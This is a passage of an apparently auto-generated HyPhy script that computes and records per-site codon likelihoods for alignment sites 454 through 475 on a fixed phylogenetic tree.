sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 454...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1359,1360,1361\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 454\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"454\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 455...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1362,1363,1364\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 455\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"455\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 456...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1365,1366,1367\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 456\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"456\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 457...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1368,1369,1370\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 457\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"457\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 458...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1371,1372,1373\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 458\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"458\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 459...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1374,1375,1376\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 459\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"459\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 460...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1377,1378,1379\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 460\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"460\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 461...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1380,1381,1382\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 461\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"461\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 462...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1383,1384,1385\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 462\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"462\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 463...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1386,1387,1388\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 463\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"463\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 464...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1389,1390,1391\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 464\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"464\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 465...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1392,1393,1394\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 465\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"465\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 466...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1395,1396,1397\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 466\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"466\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 467...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1398,1399,1400\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 467\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"467\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 468...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1401,1402,1403\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 468\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"468\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 469...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1404,1405,1406\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 469\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"469\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 470...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1407,1408,1409\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 470\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"470\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 471...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1410,1411,1412\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 471\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"471\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 472...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1413,1414,1415\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 472\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"472\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 473...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1416,1417,1418\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 473\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"473\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 474...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1419,1420,1421\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 474\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"474\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 475...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"1422,1423,1424\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 